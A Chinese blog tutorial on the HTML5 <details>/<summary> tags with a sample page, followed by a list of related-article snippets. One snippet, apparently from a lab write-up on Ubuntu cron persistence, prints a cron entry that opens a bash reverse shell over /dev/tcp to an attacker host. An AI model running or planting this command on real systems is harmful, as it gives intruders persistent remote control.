HTML5使用<details>标签:展开/收缩信息

details 标签提供了一种替代 JavaScript 的方法,它主要是提供了一个展开/收缩区域。details 标签中可以使用 summary 标签从属于 details 标签,单击 summary 标签中的内容文字时,details 标签中的其他所有从属元素将会展开或收缩。语法如下:

<details><summary>标题</summary><p>文本内容</p>
</details>

details 标签可以可选地接受 open 属性,以确保在页面载入时该元素是展开的。

<details open>
</details>

【实例】使用<details>标签实现展开/收缩信息。

<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="author" content="pan_junbiao的博客"><title>HTML5使用<details>标签:展开/收缩信息</title><style type="text/css">details {overflow: hidden;background: #e3e3e3;margin-bottom: 10px;display: block;}details summary {cursor: pointer;padding: 10px;}</style>
</head><body><details open><summary>博客信息</summary><p>您好,欢迎访问 pan_junbiao的博客 </p><p>https://blog.csdn.net/pan_junbiao</p></details>
</body></html>

执行结果:

收缩效果:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1477255.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

mysql 字符集(character set)和排序规则(collation)

文章目录 概念1、字符集1.1、举例1.2、常见字符集 utf8 和 utf8mb4 区别1.3、字符集 使用 2、排序规则2.1、举例2.2、常见的排序规则 utf8mb4_bin 、utf8mb4_general_ci、utf8mb4_unicode_ci2.3、使用 概念 在 MySQL 中&#xff0c;字符集&#xff08;character set&#xff0…

ubuntu计划任务反弹

实验环境 攻击者 操作系统&#xff1a;kali IP&#xff1a;192.168.244.141 目标主机 操作系统&#xff1a;ubuntu IP&#xff1a;192.168.244.151 实验步骤 目标主机构造任务计划 构造语句 * * * * * /bin/bash -c bash -i >& /dev/tcp/{ip}/{port} 0>&…

【Linux】命令执行的判断依据:;,,||

在某些情况下&#xff0c;很多命令我想要一次输入去执行&#xff0c;而不想要分次执行时&#xff0c;该如何是好&#xff1f; 基本上有两个选择&#xff0c; 一个是通过shell脚本脚本去执行&#xff0c;一种则是通过下面的介绍来一次入多个命令。 1.cmd&#xff1a;cmd&#…

如何将heic格式转换jpg?四种将heic转换成jpg的方法!

如何将heic格式转换jpg&#xff1f;在现今的数字图像处理领域&#xff0c;Heic格式作为一种被吹捧的创新型图像格式&#xff0c;以其先进的压缩技术&#xff0c;迅速减小了图片文件的大小&#xff0c;然而&#xff0c;尽管其有许多优点&#xff0c;实际使用中Heic格式却带来了一…

【7月长沙】2024年土木、水利与智能建造国际会议(CHEIC 2024)

在21世纪的今天&#xff0c;随着科技的迅猛发展&#xff0c;土木工程、水利工程与智能建造领域正迎来前所未有的变革。为了汇集全球范围内的智慧&#xff0c;推动这一领域的进步与发展&#xff0c;土木、水利工程与智能建造国际会议&#xff08;CHEIC 2024&#xff09;应运而生…

PP网/尼龙网检测方案居然如此高效?

硅胶套是一种由硅胶材料制成的套管&#xff0c;通常用于保护、密封或绝缘电子元件、电线、电缆等。硅胶具有优异的耐高温、耐低温、耐化学腐蚀和绝缘性能&#xff0c;因此硅胶套常被用于需要抗高温、耐磨、耐腐蚀的环境中。硅胶套的柔软性和良好的弹性使其适合于包裹各种形状的…

知识图谱入门笔记

自学参考&#xff1a; 视频&#xff1a;斯坦福CS520 | 知识图谱 最全知识图谱综述 详解知识图谱的构建全流程 知识图谱构建&#xff08;概念&#xff0c;工具&#xff0c;实例调研&#xff09; 一、基本概念 知识图谱&#xff08;Knowledge graph&#xff09;&#xff1a;由结…

【珠宝古玩字画店】游戏 链游 软件

#软件开发#链游#古玩字画 本文为大家带来的是关于买卖古董的游戏有哪些相关游戏介绍&#xff0c;对于古董&#xff0c;相信大家都不陌生&#xff0c;在游戏里玩家可以去进行古董的买卖这类游戏相信大家都不了解&#xff0c;那么接下来小编就带大家聊聊有哪些好玩的古董买卖手游…

PHP 安装Memcached 扩展 PHP使用Memcache

memcache扩展下载 访问官网&#xff1a;https://pecl.php.net/package/memcache&#xff0c;下载合适的memcache版本的安装包&#xff0c;注意要与php版本相匹配。 1、查看运行环境php版本,可以运行以下代码 <?php phpinfo(); ?>2、查看版本信息以及是否支持多线程…

【YOLOv5/v7改进系列】改进池化层为RFB

一、导言 论文 "Receptive Field Block Net for Accurate and Fast Object Detection" 中提出的 RFB (Receptive Field Block) 模块旨在模仿人类视觉系统中的感受野结构&#xff0c;以增强深度学习模型对不同尺度和位置的目标检测能力。下面总结了RFB模块的主要优点…

谷歌个人开发者账号14天封测审核通过技巧,你还不知道吗?

众所周知&#xff0c;目前在Google play应用商店上架应用已经不是那么容易了&#xff0c;谷歌各种政策的更新以及审核系统的升级&#xff0c;给开发者们带来了不少挑战。 尤其针对个人开发者账号需要20人连续14天的封测的要求&#xff0c;周期长&#xff0c;且随着政策执行力度…

用微信服务号支付门诊缴费

时间上午10刚过&#xff0c;医院里计价收费处排起了长龙&#xff0c;放眼望去&#xff0c;左边的窗口六条队。右边在原来发药的位置也开辟了收费窗口&#xff0c;数了一下有四条队。一共十条排队付费的长龙&#xff0c;每一条队伍的人数不下20人&#xff0c;也即超过200人在排队…

【计算机网络03】不花钱怎么搭建一个网络实验室

使用GNS3和虚拟机搭建网络实验室 1、安装抓包工具分析数据包2、定义和使用抓包筛选器3、安装和配置GNS34、配置路由器和VPCS5、使用WireShark捕获GNS3网络数据包6、VMware创建虚拟机7、使用思科PacketTracer 1、安装抓包工具分析数据包 官网安装wireshark&#xff1a;https://…

【idea 修改VM配置,无法启动;必杀技】

idea 修改VM配置&#xff0c;无法启动&#xff1b;必杀技 报错信息 error launching idea failed to created JVM 解决方案 不要管你安装的环境在哪&#xff0c;使用了什么破解插件。统统不管用。直接找到C:\Users\YOURWORLD\AppData\Roaming\JetBrains下的idea中的idea64…

Linux中的管道符‘|‘以及SQL(DQL,DCL)

ls 指令 语法&#xff1a; ls [选项][目录或文件] 功能&#xff1a; 对于目录&#xff0c;该命令列出该目录下的所有子目录与文件。对于文件&#xff0c;将列出文件名以及其他信息。 常用选项&#xff1a; -a 列出目录下的所有文件&#xff0c;包括以 . 开头的隐含文件。 -…

HTTP协议分析/burp/goby/xray

一、HTTP简介 HTTP(超文本传输协议)是今天所有web应用程序使用的通信协议。最初&#xff0c;HTTP只是一个为获取基于文本的静态资源而开发的简单协议&#xff0c;后来人们以名种形式扩展和利用它.使其能够支持如今常见的复杂分布式应用程序。HTTP使用一种用于消息的模型:客户端…

CephFS文件系统存储服务

目录 1.创建 CephFS 文件系统 MDS 接口 服务端操作 1.1 在管理节点创建 mds 服务 1.2 创建存储池&#xff0c;启用 ceph 文件系统 1.3 查看mds状态&#xff0c;一个up&#xff0c;其余两个待命&#xff0c;目前的工作的是node02上的mds服务 1.4 创建用户 客户端操作 1.5…

十一、C++11常用新特性—委托构造函数和继承构造函数

1.委托构造函数 委托构造函数是c11引用的一个特性&#xff0c;它允许一个构造函数委托其部分或全部的初始化工作给同一个类中的另一个构造函数。这种方式可以减少重复的初始化代码&#xff0c;提高代码的可维护性和清晰度。 从上述的图中可以看出&#xff0c;该类的构造函数有…

MySQL DDL

数据库 1 创建数据库 CREATE DATABASE 数据库名 CREATE DATABASE IF NOT EXISTS 数据库名;&#xff08;判断是否存在) CREATE DATABASE 数据库名 CHARACTER SET 字符 2 查看数据库 SHOW DATABASES; 查看某个数据库的信息 SHOW CAEATE DATABASE 数据库名 3 修改数据库 …

nginx安装配置视频频服务器-windows

编译安装nginx 1、安装perl 安装地址: https://strawberryperl.com&#xff0c;选择msi安装程序即可 2、安装sed for windows 下载地址&#xff1a;https://sourceforge.net/projects/gnuwin32/files/sed/&#xff0c;执行安装程序结束后&#xff0c;将安装包bin目录配置到…
最新文章